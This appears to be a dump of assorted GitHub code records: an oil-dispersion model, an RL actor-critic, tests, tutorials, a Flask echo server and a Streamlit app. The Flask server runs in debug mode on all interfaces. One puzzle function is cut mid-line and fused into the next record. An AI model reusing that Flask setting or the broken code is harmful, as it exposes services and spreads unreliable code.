droplet_avg_size, sed = dis_fun(time_step,\n data['frac_water'],\n data['mass'],\n data['viscosity'],\n data['density'],\n data['area'],\n disp,\n sed,\n droplet_avg_size,\n frac_breaking_waves,\n disp_wave_energy,\n wave_height,\n visc_w,\n rho_w,\n sediment,\n V_entrain,\n ka)\n\n sc.mass_balance['natural_dispersion'] += np.sum(disp[:])\n\n if data['mass'].sum() > 0:\n disp_mass_frac = np.sum(disp[:]) / data['mass'].sum()\n\n if disp_mass_frac > 1:\n disp_mass_frac = 1\n else:\n disp_mass_frac = 0\n\n data['mass_components'] = ((1 - disp_mass_frac) *\n data['mass_components'])\n data['mass'] = data['mass_components'].sum(1)\n\n sc.mass_balance['sedimentation'] += np.sum(sed[:])\n\n if data['mass'].sum() > 0:\n sed_mass_frac = np.sum(sed[:]) / data['mass'].sum()\n\n if sed_mass_frac > 1:\n sed_mass_frac = 1\n else:\n sed_mass_frac = 0\n\n data['mass_components'] = ((1 - sed_mass_frac) *\n data['mass_components'])\n data['mass'] = data['mass_components'].sum(1)\n\n self.logger.debug('{0} Amount Dispersed for {1}: {2}'\n .format(self._pid,\n substance.name,\n sc.mass_balance['natural_dispersion']))\n # print ('dispersion: mass_components = {}'\n # .format(data['mass_components'].sum(1)))\n\n sc.update_from_fatedataview()\n\n def disperse_oil_Li(self, time_step,\n frac_water,\n mass,\n viscosity,\n density,\n area,\n disp_out,\n sed_out,\n droplet_avg_size,\n frac_breaking_waves,\n disp_wave_energy,\n wave_height,\n visc_w,\n rho_w,\n sediment,\n V_entrain,\n ka):\n '''\n Oil natural dispersion algorithm developed by Li et al., (2017)\n '''\n # typical range of interfacial tension between oil and water 30-40 dyne/cm (10-5, 10-2)\n sigma_o_w = 3.5e-2 # unit N/m\n H0 = wave_height / 0.707 # significant wave height\n\n d_oil = 4.0 * np.sqrt(sigma_o_w / (constants.gravity * (rho_w - density))) # maximum stable droplet diameter\n dynamic_visc = viscosity * density\n\n # parameter values estimated by Li et al., (2017)\n a = 4.604e-10\n b = 1.805\n c = -1.023\n\n r = 1.791\n p = 0.460\n q = -0.518\n # a factor added to adjust volume fraction from 200 micron to 70 micron\n factor = 0.11\n\n Weber = rho_w * constants.gravity * H0 * d_oil / sigma_o_w # Weber number\n Ohnesorge = dynamic_visc / np.sqrt(density * sigma_o_w * d_oil) # Ohnesorge number\n Q_oil = a * (Weber**b) * (Ohnesorge**c)\n\n s_mask = area > 0\n Vemul = (mass[s_mask] / density[s_mask]) / (1.0 - frac_water[s_mask]);\n thickness = Vemul / area[s_mask];\n\n Q_disp = density[s_mask] * thickness * frac_breaking_waves[s_mask] * Q_oil[s_mask] * (1.0 - frac_water[s_mask]) * area[s_mask]\n # print(area[s_mask], area)\n disp_out[s_mask] = factor * Q_disp * time_step\n\n droplet_avg_size[s_mask] = d_oil[s_mask] * r * (Ohnesorge[s_mask]**p) * (Weber[s_mask]**q)\n\n\n\n # sedimentation algorithm below\n droplet = 0.613 * thickness\n # droplet average rising velocity\n speed = (droplet * droplet * constants.gravity * (1.0 - density / rho_w) / (18.0 * visc_w))\n\n # vol of refloat oil/wave p\n V_refloat = 0.588 * (np.power(thickness, 1.7) - 5.0e-8)\n V_refloat[V_refloat < 0.0] = 0.0\n\n # dispersion term at current time.\n C_disp = disp_wave_energy ** 0.57 * frac_breaking_waves\n\n # Roy's constant\n C_Roy = 2400.0 * np.exp(-73.682 * np.sqrt(viscosity))\n\n q_refloat = C_Roy * C_disp * V_refloat * area\n\n C_oil = (q_refloat * time_step / (speed * time_step + 1.5 * wave_height))\n #print('C_oil', C_oil[0])\n # mass rate of oil loss due to sedimentation\n Q_sed = (1.6 * ka * np.sqrt(wave_height * disp_wave_energy * frac_breaking_waves / (rho_w * visc_w)) * C_oil * sediment)\n\n\n s_mask = np.logical_and(sediment > 0.0, thickness >= 1.0e-4)\n sed_out[s_mask] = (1.0 - frac_water[s_mask]) * Q_sed[s_mask] * time_step\n\n s_mask = (disp_out + sed_out) > mass\n disp_out[s_mask] = (disp_out[s_mask] / (disp_out[s_mask] + sed_out[s_mask])) * mass[s_mask]\n sed_out[s_mask] = mass[s_mask] - disp_out[s_mask]\n\n return disp_out, droplet_avg_size, sed_out\n\n\n def disperse_oil_DS(self, time_step,\n frac_water,\n mass,\n viscosity,\n density,\n area,\n disp_out, # output\n sed_out, # output\n droplet_avg_size, # output\n frac_breaking_waves,\n disp_wave_energy,\n wave_height,\n visc_w,\n rho_w,\n sediment,\n V_entrain,\n ka):\n '''\n Oil natural dispersion model developed by Delvgine and Sweeney (1988)\n Right now we just want to recreate what the lib_gnome dispersion\n function is doing...but in python.\n This will allow us to more easily refactor, and we can always\n then put it back into lib_gnome if necessary.\n (TODO: Not quite finished with the function yet.)\n '''\n D_e = disp_wave_energy\n f_bw = frac_breaking_waves\n H_rms = wave_height\n\n # dispersion term at current time.\n C_disp = D_e ** 0.57 * f_bw\n # Roy's constant\n C_Roy = 2400.0 * np.exp(-73.682 * np.sqrt(viscosity))\n\n for i, (rho, mass_elem, visc, Y, A) in enumerate(zip(density, mass,\n viscosity, frac_water,\n area)):\n if Y >= 1:\n disp_out[i] = 0.0\n sed_out[i] = 0.0\n droplet_avg_size[i] = 0.0\n continue\n # shouldn't happen\n\n # natural dispersion computation below\n if A > 0:\n # emulsion volume (m3)\n Vemul = (mass_elem / rho) / (1.0 - Y)\n thickness = Vemul / A\n else:\n thickness = 0.0\n\n # mass rate of oil driven into the first 1.5 wave height (kg/sec)\n Q_disp = C_Roy[i] * C_disp[i] * V_entrain * (1.0 - Y) * A\n\n d_disp_out = Q_disp * time_step\n\n # sedimentation computation below\n droplet = 0.613 * thickness\n if sediment > 0.0 and thickness >= 1.0e-4:\n # droplet average rising velocity\n speed = (droplet * droplet * constants.gravity * (1.0 - rho / rho_w) / (18.0 * visc_w))\n\n # vol of refloat oil/wave p\n V_refloat = 0.588 * (np.power(thickness, 1.7) - 5.0e-8)\n if V_refloat < 0.0:\n V_refloat = 0.0;\n\n # (kg/m2-sec) mass rate of emulsion\n q_refloat = C_Roy[i] * C_disp[i] * V_refloat * A\n\n C_oil = (q_refloat * time_step / (speed * time_step + 1.5 * H_rms[i]))\n # print('C_oil', C_oil)\n # mass rate of oil loss due to sedimentation\n Q_sed = (1.6 * ka * np.sqrt(H_rms[i] * D_e[i] * f_bw[i] / (rho_w * visc_w)) * C_oil * sediment)\n\n d_sed_out = (1.0 - Y) * Q_sed * time_step\n else:\n d_sed_out = 0.0\n\n if (d_disp_out + d_sed_out) > mass_elem:\n ratio = d_disp_out / (d_disp_out + d_sed_out)\n\n d_disp_out = ratio * mass_elem\n d_sed_out = mass_elem - d_disp_out\n\n disp_out[i] = d_disp_out\n sed_out[i] = d_sed_out\n droplet_avg_size[i] = droplet\n\n return disp_out, droplet_avg_size, sed_out","repo_name":"NOAA-ORR-ERD/PyGnome","sub_path":"py_gnome/gnome/weatherers/natural_dispersion.py","file_name":"natural_dispersion.py","file_ext":"py","file_size_in_byte":13694,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"32"} +{"seq_id":"15247555434","text":"#função zip\n\nlista1 = [1,2,3,4,5]\nlista2 = [\"primeiro\", \"segundo\", \"Terceiro\", \"Quarto\", \"Quinto\"]\nlista3 = [\"Um\", \"Dois\", \"Tres\", \"Quatro\", \"Cinco\"]\n\nfor numero, numeral, n in zip(lista1, lista2, lista3): # função para concatenar listas\n print(numero, numeral, n)\n\nfor n in zip(lista1, lista2, lista3):\n print(n)","repo_name":"MARIOHELIOSIMOES/Workspace","sub_path":"Python/Udemy/aula37_zip.py","file_name":"aula37_zip.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41006166918","text":"import datetime\n\nimport pytest\n\nfrom chispa import assert_column_equality\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import col, lit\nfrom pyspark.sql.types import DateType\n\nfrom pramen_py import MetastoreReader\nfrom pramen_py.models import (\n InfoDateSettings,\n MetastoreTable,\n RunTransformer,\n TableFormat,\n TransformationConfig,\n)\nfrom transformations.identity_transformer import IdentityTransformer\n\n\n@pytest.mark.asyncio\nasync def test_identity_transformer(\n spark: SparkSession,\n tmp_path_builder,\n when,\n transformer_runner,\n generate_df,\n):\n # stub for transformer dependency table\n table_in_stub = generate_df(\n \"\"\"\n +---+---+----------+\n |A |B |info_date |\n +---+---+----------+\n |1 |2 |2022-03-23|\n |3 |4 |2022-03-23|\n |5 |6 |2022-03-24|\n |7 |8 |2022-03-24|\n |9 |10 |2022-03-25|\n |11 |12 |2022-03-25|\n |13 |14 |2022-03-26|\n |15 |16 |2022-03-26|\n +---+---+----------+\n \"\"\",\n \"\"\"\n root\n |-- A: integer (nullable = true)\n |-- B: integer (nullable = true)\n |-- info_date: date (nullable = true)\n \"\"\",\n )\n\n # random path which is used for transformer output table\n table_out_path = tmp_path_builder()\n config = TransformationConfig(\n run_transformers=[\n RunTransformer(\n name=\"IdentityTransformer\",\n info_date=None,\n output_table=\"table_out\",\n options={\"table\": \"table_in\"},\n ),\n ],\n metastore_tables=[\n MetastoreTable(\n name=\"table_in\",\n format=TableFormat.parquet,\n path=tmp_path_builder().as_posix(),\n info_date_settings=InfoDateSettings(\n column=\"information_date\",\n format=\"yyyy-MM-ddd\",\n ),\n ),\n MetastoreTable(\n name=\"table_out\",\n format=TableFormat.parquet,\n path=table_out_path.as_posix(),\n info_date_settings=InfoDateSettings(\n column=\"information_date\",\n format=\"yyyy-MM-ddd\",\n ),\n ),\n ],\n )\n\n # mocking metastore.get_table access to \"table_in\"\n (\n when(MetastoreReader, \"get_table\")\n .called_with(\"table_in\")\n .then_return(table_in_stub)\n )\n\n (\n when(MetastoreReader, \"get_latest\")\n .called_with(\n \"table_in\",\n until=datetime.date(2022, 4, 1),\n )\n .then_return(table_in_stub)\n )\n\n # running the transformation\n await transformer_runner(\n IdentityTransformer,\n config,\n \"2022-04-07\",\n )\n\n # reading and preparing for the test output of the transformer\n actual = (\n spark.read.parquet(table_out_path.as_posix())\n .withColumn(\n \"information_date_expected\",\n lit(\"2022-04-07\").cast(DateType()),\n )\n .withColumn(\n \"transform_id_is_rand\",\n (col(\"transform_id\") >= 0) & (col(\"transform_id\") <= 1),\n )\n .withColumn(\"transform_id_is_rand_expected\", lit(True))\n )\n\n # perform needed checks\n assert_column_equality(\n actual,\n \"information_date\",\n \"information_date_expected\",\n )\n assert_column_equality(\n actual,\n \"transform_id_is_rand\",\n \"transform_id_is_rand_expected\",\n )\n\n\n@pytest.mark.asyncio\nasync def test_identity_transformer_wrong_options(\n spark: SparkSession,\n tmp_path_builder,\n when,\n transformer_runner,\n):\n config = TransformationConfig(\n run_transformers=[\n RunTransformer(\n name=\"IdentityTransformer\",\n info_date=None,\n output_table=\"table_out\",\n options={},\n ),\n ],\n metastore_tables=[\n MetastoreTable(\n name=\"table_in\",\n format=TableFormat.parquet,\n path=tmp_path_builder().as_posix(),\n info_date_settings=InfoDateSettings(\n column=\"information_date\",\n format=\"yyyy-MM-ddd\",\n ),\n ),\n MetastoreTable(\n name=\"table_out\",\n format=TableFormat.parquet,\n path=tmp_path_builder().as_posix(),\n info_date_settings=InfoDateSettings(\n column=\"information_date\",\n format=\"yyyy-MM-ddd\",\n ),\n ),\n ],\n )\n\n with pytest.raises(KeyError, match=\"Expected 'table' key\"):\n await transformer_runner(\n IdentityTransformer,\n config,\n \"2022-04-07\",\n )\n","repo_name":"AbsaOSS/pramen","sub_path":"pramen-py/tests/test_identity_transformer.py","file_name":"test_identity_transformer.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"23122947485","text":"from flask import Flask, request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/', methods=['POST', 'GET'])\ndef echo():\n msg = request.data.decode('UTF-8')\n return (f'Back to you: {msg}')\n\napp.run(host='0.0.0.0', debug=True, port='8484')","repo_name":"mc-mario/MultiAgentes1920","sub_path":"Compradores - Código/Escribir XML/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40652598794","text":"import gym\nimport numpy as np\nimport torch\nimport torch.optim as optim\nfrom stable_baselines3.common.distributions import DiagGaussianDistribution, CategoricalDistribution, \\\n Distribution, BernoulliDistribution\nfrom torch_scatter import scatter_mean, scatter_sum\n\nfrom src.algorithms.rl.architectures.get_swarm_base import get_swarm_base\nfrom modules.swarm_environments.abstract_swarm_environment import AbstractSwarmEnvironment\nfrom src.modules.abstract_architecture import AbstractArchitecture\nfrom modules.hmpn.abstract.abstract_message_passing_base import AbstractMessagePassingBase\nfrom src.modules.mlp import MLP\nfrom util.types import *\nfrom util.torch_util.torch_util import orthogonal_initialization as orthogonal_initialization_function\n\n\nclass SwarmPPOActorCritic(AbstractArchitecture):\n def __init__(self, environment: AbstractSwarmEnvironment,\n network_config: ConfigDict, ppo_config: ConfigDict, use_gpu: bool):\n \"\"\"\n Initializes the actor-critic network for PPO, i.e., the value network and the policy network.\n Args:\n environment: The environment to train the reinforcement algorithm on.\n network_config: Configuration for the policy and value networks.\n ppo_config: Configuration for the PPO algorithm\n use_gpu: Whether to use the GPU\n \"\"\"\n super(SwarmPPOActorCritic, self).__init__(use_gpu=use_gpu,\n network_config=network_config,\n ppo_config=ppo_config)\n self._agent_node_type = environment.agent_node_type\n\n orthogonal_initialization = ppo_config.get(\"orthogonal_initialization\")\n self._value_function_scope = ppo_config.get(\"value_function_scope\")\n\n self.share_base = network_config.get(\"share_base\")\n if self.share_base: # one shared base for value and policy\n self.graph_base: AbstractMessagePassingBase = get_swarm_base(graph_env=environment,\n network_config=network_config,\n device=self._gpu_device)\n else: # a base each for value and policy\n self.policy_base: AbstractMessagePassingBase = get_swarm_base(graph_env=environment,\n network_config=network_config,\n device=self._gpu_device)\n self.value_base: AbstractMessagePassingBase = get_swarm_base(graph_env=environment,\n network_config=network_config,\n device=self._gpu_device)\n\n training_config = network_config.get(\"training\")\n latent_dimension = network_config.get(\"latent_dimension\")\n\n actor_mlp = network_config.get(\"actor\").get(\"mlp\")\n critic_mlp = network_config.get(\"critic\").get(\"mlp\")\n training_config = training_config\n\n self.value_mlp = MLP(in_features=latent_dimension,\n config=critic_mlp,\n latent_dimension=latent_dimension,\n out_features=1,\n device=self._gpu_device)\n self.policy_mlp = MLP(in_features=latent_dimension,\n config=actor_mlp,\n latent_dimension=latent_dimension,\n device=self._gpu_device)\n\n action_dimension = environment.action_dimension\n if isinstance(environment.action_space, gym.spaces.Box):\n action_distribution = DiagGaussianDistribution(action_dim=action_dimension)\n self.action_out_embedding, self.log_std = action_distribution.proba_distribution_net(\n latent_dim=self.policy_mlp.out_features, log_std_init=ppo_config.get(\"initial_log_std\", 0.0)\n )\n self.proba_distribution = partial(action_distribution.proba_distribution, log_std=self.log_std)\n elif isinstance(environment.action_space, (gym.spaces.Discrete, gym.spaces.MultiDiscrete)):\n if action_dimension == 1:\n action_distribution = BernoulliDistribution(action_dims=action_dimension)\n self.proba_distribution = action_distribution.proba_distribution\n else:\n action_distribution = CategoricalDistribution(action_dim=action_dimension)\n self.proba_distribution = action_distribution.proba_distribution\n self.action_out_embedding = action_distribution.proba_distribution_net(\n latent_dim=self.policy_mlp.out_features\n )\n self.log_std = None\n else:\n raise NotImplementedError(f\"Action space '{environment.action_space} not implemented\")\n\n if orthogonal_initialization:\n module_gains = {\n self.policy_mlp: np.sqrt(2),\n self.value_mlp: 1,\n self.action_out_embedding: 0.01,\n }\n if self.share_base:\n module_gains[self.graph_base] = np.sqrt(2)\n else:\n module_gains[self.policy_base] = np.sqrt(2)\n module_gains[self.value_base] = np.sqrt(2)\n for module, gain in module_gains.items():\n module.apply(partial(orthogonal_initialization_function, gain=gain))\n\n self._initialize_optimizer_and_scheduler(training_config=training_config)\n\n self.to(self._gpu_device)\n\n def forward(self, observations: InputBatch, deterministic: bool = False,\n value_function_scope: Optional[str] = None) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\"\n\n Args:\n observations: Observation graph\n deterministic: Whether to sample or use deterministic actions\n value_function_scope: [Optional] Scope of the value function. If None, will use self._value_function_scope.\n May be either \"graph\" or \"agent\"\n\n Returns:\n -An action *per agent*,\n -A scalar *per graph* iff self.value_function_scope is set to \"graph\", and per agent otherwise\n - A log_probability of taking this action *per agent*\n\n \"\"\"\n observations = self.to_gpu(observations)\n distribution, values = self._get_values_and_distribution(observations,\n value_function_scope=value_function_scope)\n actions = distribution.get_actions(deterministic=deterministic)\n log_probability = distribution.log_prob(actions)\n return actions, values, log_probability\n\n def evaluate_actions(self, observations: InputBatch,\n actions: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\"\n Evaluate actions according to the current policy given the observations.\n\n :param observations: Observation Graph(s)\n :param actions:\n :return: estimated value, log likelihood of taking those actions\n and entropy of the action distribution.\n \"\"\"\n observations = self.to_gpu(observations)\n actions = self.to_gpu(actions)\n distribution, values = self._get_values_and_distribution(observations)\n\n log_probabilities = distribution.log_prob(actions)\n entropy = distribution.entropy()\n return values, log_probabilities, entropy\n\n def _get_values_and_distribution(self, observations: InputBatch,\n value_function_scope: Optional[str] = None) -> Tuple[Distribution, torch.Tensor]:\n \"\"\"\n Processes the observations by\n * feeding them through the shared graph base to get latent *node/agent* features\n * using the policy_mlp and a linear mapping to get an action distribution per *node*\n * using the value_mlp and an aggregation to get a value.\n This value may either be per *graph* ([self._]value_function_scope==\"graph\") or\n per *node* ([self._]value_function_scope==\"agent\")\n\n Args:\n observations:\n value_function_scope: [Optional] Scope of the value function. If None, will use self._value_function_scope.\n May be either \"graph\" or \"agent\"\n\n Returns: A tuple\n distribution: One diagonal Gaussian distribution per *agent*\n values: One value per *graph* or per *node*.\n For graphs, the value is the aggregation over the values for all nodes/agents.\n\n \"\"\"\n if self.share_base: # one shared base for value and policy\n node_features, _, _, batches = self.graph_base(observations)\n batch = batches.get(self._agent_node_type)\n value_node_features = node_features.get(self._agent_node_type)\n policy_node_features = node_features.get(self._agent_node_type)\n else: # a base each for value and policy\n node_features, _, _, batches = self.value_base(observations)\n batch = batches.get(self._agent_node_type)\n value_node_features = node_features.get(self._agent_node_type)\n node_features, _, _, _ = self.policy_base(observations)\n policy_node_features = node_features.get(self._agent_node_type)\n\n latent_policy_features = self.policy_mlp(policy_node_features)\n distribution = self._get_action_distribution_from_latent(latent_policy_features)\n\n values = self.value_mlp(value_node_features)\n if value_function_scope is None:\n value_function_scope = self._value_function_scope\n if value_function_scope == \"graph\":\n # aggregate over evaluations per node to get one evaluation per graph\n values = scatter_mean(values, batch, dim=0)\n elif value_function_scope == \"vdn\":\n values = scatter_sum(values, batch, dim=0)\n elif value_function_scope in [\"agent\", \"spatial\"]:\n # keep one evaluation per node\n pass\n else:\n raise ValueError(f\"Unknown value function scope '{value_function_scope}'\")\n return distribution, values\n\n def _get_action_distribution_from_latent(self, latent_pi: torch.Tensor) -> Distribution:\n \"\"\"\n Retrieve the action distribution given the latent codes.\n\n :param latent_pi: Latent code for the actor\n :return: Action distribution\n \"\"\"\n mean_actions = self.action_out_embedding(latent_pi)\n return self.proba_distribution(mean_actions)\n\n @property\n def optimizer(self) -> optim.Optimizer:\n return self._optimizer\n","repo_name":"NiklasFreymuth/ASMR","sub_path":"src/algorithms/rl/architectures/swarm_ppo_actor_critic.py","file_name":"swarm_ppo_actor_critic.py","file_ext":"py","file_size_in_byte":10806,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"28755242491","text":"\"\"\"\ndefinitions:\n1. subclassing allows you to create a model structure, similar to pytorch structure,\n allowing to easily reuse the class as many times as possible\n\"\"\"\nimport os\nos.environ[\"TFF_CPP_MIN_LOG_LEVEL\"] = \"2\"\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.datasets import mnist\n\nphysical_devices = tf.config.list_physical_devices(\"GPU\")\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\n# loading dataset\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train = x_train.reshape(-1, 28, 28, 1).astype(\"float32\") / 255.0\nx_test = x_test.reshape(-1, 28, 28, 1).astype(\"float32\") / 255.0\n\nclass CNNBlock(layers.Layer):\n def __init__(self, out_channels, kernel_size=3):\n super(CNNBlock, self).__init__()\n self.conv = layers.Conv2D(out_channels, kernel_size, padding=\"same\")\n self.bn = layers.BatchNormalization()\n \n # call method is same as forward in pytorch\n def call(self, input_tensor, training=False):\n x = self.conv(input_tensor)\n x = self.bn(x, training=training)\n x = tf.nn.relu(x)\n return x\n \n\"\"\"\nmodel subclassing for CNNBlock only\nuncomment for testing and comment the codes following it\n\"\"\"\n# model = keras.Sequential(\n# [\n# CNNBlock(32),\n# CNNBlock(64),\n# CNNBlock(128),\n# layers.Flatten(),\n# layers.Dense(10)\n# ]\n# )\n\n# model.compile(\n# optimizer=keras.optimizers.Adam(),\n# loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n# metrics=[\"accuracy\"]\n# )\n\n# model.fit(x_train, y_train, batch_size=32, epochs=3, verbose=2)\n# print(model.summary())\n# model.evaluate(x_test, y_test, batch_size=32, verbose=2)\n \nclass ResBlock(layers.Layer):\n def __init__(self, channels):\n super(ResBlock, self).__init__()\n self.cnn1 = CNNBlock(channels[0])\n self.cnn2 = CNNBlock(channels[1])\n self.cnn3 = CNNBlock(channels[2])\n self.pooling = layers.MaxPooling2D()\n self.identity_mapping = layers.Conv2D(channels[1], 1, padding=\"same\")\n\n def call(self, input_tensor, training=False):\n x = self.cnn1(input_tensor, training=training)\n x = self.cnn2(x, training=training)\n x = self.cnn3(\n x + self.identity_mapping(input_tensor), training=training,\n )\n return self.pooling(x)\n\n# keras.Model is same as layers.Layer but keras.Model has additional functionalities\n# and best used in final model structure\nclass ResNet_Like(keras.Model):\n def __init__(self, num_classes=10):\n super(ResNet_Like, self).__init__()\n self.block1 = ResBlock([32,32,64])\n self.block2 = ResBlock([128,128,256])\n self.block3 = ResBlock([128,256,512])\n self.pool = layers.GlobalAveragePooling2D() # can be replaced by layers.Flatten()\n self.classifier = layers.Dense(num_classes)\n\n def call(self, input_tensor, training=False):\n x = self.block1(input_tensor, training=training)\n x = self.block2(x, training=training)\n x = self.block3(x, training=training)\n x = self.pool(x)\n return self.classifier(x)\n \n # this allows to see information of output shape, instead of getting multiple as answer in summary\n def get_summary(self):\n x = keras.Input(shape=(28,28,1))\n return keras.Model(inputs=[x], outputs=self.call(x))\n\nmodel = ResNet_Like(num_classes=10)\n \nmodel.compile(\n optimizer=keras.optimizers.Adam(),\n loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=[\"accuracy\"]\n)\n\nmodel.fit(x_train, y_train, batch_size=32, epochs=1, verbose=2)\nprint(model.get_summary().summary())\nmodel.evaluate(x_test, y_test, batch_size=32, verbose=2)\n","repo_name":"Kira-Floris/Deep-Learning","sub_path":"Tensorflow/tutorial - beginner/9_model_subclassing.py","file_name":"9_model_subclassing.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70311689370","text":"# shows how to manipulate bunch object\nfrom sklearn import datasets\n\nboston = load_boston();\n\ntype(boston)\n\ntype(boston)\n\nboston.keys()\n\ntype(boston['data'])\n\nboston['feature_names']\n\nprint(boston['DESCR'])\n \nboston['data'].shape\n\n#Using dot notation\n\nboston.data.shape\n\nboston.feature_names\n\nboston.data[17]\n\nboston.target[17]\n\n#Select Specific column\nboston.data[:,1]\n\n\n","repo_name":"dkshre/MLPlayGround","sub_path":"DataManipulation.py","file_name":"DataManipulation.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30085928997","text":"\"\"\"\r\n\n\nFor this challenge, forget how to add two numbers together. The best\nexplanation on what to do for this function is this meme:\n\n![Alternative Text](https://edabit-challenges.s3.amazonaws.com/caf.jpg)\n\n### Examples\n\n meme_sum(26, 39) ➞ 515\n # 2+3 = 5, 6+9 = 15\n # 26 + 39 = 515\n \n meme_sum(122, 81) ➞ 1103\n # 1+0 = 1, 2+8 = 10, 2+1 = 3\n # 122 + 81 = 1103\n \n meme_sum(1222, 30277) ➞ 31499\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef meme_sum(a, b):\n small = min(str(a),str(b),key=len)\n big = str(a) if small==str(b) else str(b)\n while len(small) NULL\n / \\\n 2 -> 3 -> NULL\n / \\ / \\\n 4->5->6->7 -> NULL\n Note 1: that using recursion has memory overhead and does not qualify for constant space.\nNote 2: The tree need not be a perfect binary tree.\n\"\"\"\n\n\n# Lets say you have already created next pointers till level L. To create next\n# pointer for level L+1, start with the first node on level L.\n# 1 -> 2 -> 3 -> 4\n# / \\ / \\\n# / \\ / \\\n# 5 6 7 8\n#\n#\n# 1 -> 2 -> 3 -> 4\n# / \\ / \\\n# / \\ / \\\n# 4 -> 7 -> 8 -> 9\n# Keep track of the previous node you encountered on the next level. For the current node, explore the left and\n# right child if they are not null in that order. If the prev is not set, that means we are looking at the leftmost\n# node on the next level ( Lets store it because we will begin the next iteration from this node ). Else you can\n# assign prev->next as the current node in next level you are exploring and update the prev node.\n\nclass Solution:\n\n def populate_next_r_02(self, root):\n if root is None:\n return\n if root.left:\n if root.right:\n root.left.next = root.right\n else:\n head = root\n while head.next:\n if head.next.left:\n root.left.next = head.next.left\n break\n elif head.next.right:\n root.left.next = head.next.right\n break\n head = head.next\n if root.right:\n head = root\n\n while head.next:\n if head.next.left:\n root.right.next = head.next.left\n break\n elif head.next.right:\n root.right.next = head.next.right\n\n head = head.next\n self.populate_next_r_02(root.right)\n self.populate_next_r_02(root.left)\n","repo_name":"iamrishap/PythonBits","sub_path":"InterviewBits/tree/populate-next-right-pointers-tree.py","file_name":"populate-next-right-pointers-tree.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"48127483","text":"from telethon import events\nfrom datetime import datetime\nfrom uniborg.util import admin_cmd\n\n\n@borg.on(admin_cmd(\"ping\"))\nasync def _(event):\n if event.fwd_from:\n return\n start = datetime.now()\n await event.edit(\"pinging............\")\n end = datetime.now()\n ms = (end - start).microseconds / 1000\n await event.edit(\"My bot is working \\nperfectly..... 😎\\nat speed of \\n{} 🚀gb/s\".format(ms))\n","repo_name":"piubot/UniBorg","sub_path":"stdplugins/ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"9094680871","text":"from abc import ABC, abstractmethod, abstractproperty\nfrom typing import Any\n\nimport pandas as pd\n\nfrom tcc.core.domain.genetic_algorithm.population import (\n Population,\n PopulationSteps,\n)\n\n\nclass PopulationUseCaseBase(ABC):\n population: Population\n\n @abstractproperty\n def minimal_step(self) -> PopulationSteps:\n raise NotImplementedError\n\n @abstractmethod\n def run(self, **options) -> Any:\n raise NotImplementedError(\"not implemented!\")\n\n def execute(self, **options: Any) -> Any:\n self.validate()\n return self.run(**options)\n\n def validate(self):\n minimal_step_method = getattr(self, \"minimal_step\", None)\n minimal_step = minimal_step_method\n if callable(minimal_step_method):\n minimal_step = minimal_step_method()\n\n class_name = self.__class__.__name__\n base_message = \"\"\"\n \"garanta que a classe '{class_name}' possua a propriedade '{property}'\"\n \"\"\"\n\n assert isinstance(minimal_step, PopulationSteps), base_message.format(\n property=\".minimal_step\", class_name=class_name\n )\n\n population: Population | None = getattr(self, \"population\", None)\n assert isinstance(population, Population), base_message.format(\n property=\".population\", class_name=class_name\n )\n\n message = \"passo deve ser no mínimo '{}'. Atualmente é '{}'\".format(\n population.get_step_display(minimal_step),\n population.get_step_display(),\n )\n\n assert population.step >= minimal_step, message\n\n data = population.data\n assert isinstance(\n data, pd.DataFrame\n ), \"garanta que '.data' seja uma instância de 'pd.DataFrame'\"\n","repo_name":"danilodcn/ag-transform","sub_path":"tcc/core/application/population/use_cases/base_use_case.py","file_name":"base_use_case.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8710505917","text":"import streamlit as st\nimport pandas as pd \nimport numpy as np\nimport xlrd\n\nst.title(\"Discover your Adaptivity Level\")\n\nt1 = st.markdown(\"Complete with your ID and discover our special plan for you!\")\n\nt2 = st.caption(\"*We care about your well-being\")\n\n\n#Variables con los que entrenamos el modelo\n#id_student = for i in data_raw.id_student():\n#i = data_raw['id_student']\n \n#ID = st.selectbox('Insert your ID student', id_student)\n\n \nID2 = st.text_input('Insert your ID student:')\n\n\n\n#levantamos el df \ndata_raw = pd.read_csv('data_raw_final.csv',sep=';')\n\nmaskid = data_raw['ID_student']\ndiccionario = {}\nrango = data_raw.index\n\n'''for indice in rango:\n dict_ing = {}\n dict_ing.clear()\n for ID2 in maskid:\n find = data_raw['ID_student'].iloc[indice].find(data_raw.adaptivity_level)\n if find != null:\n dict_ing[data_raw.adaptivity_level]\n else:\n find = null'''\n\n#st.write(\"Your adaptatibity is:\", Name) \n \n\nserie_id = data_raw['ID_student']\nmask_alumno_momento = (serie_id == 'ID2')\n\n\n\nadaptabilidad = data_raw.loc[mask_alumno_momento, 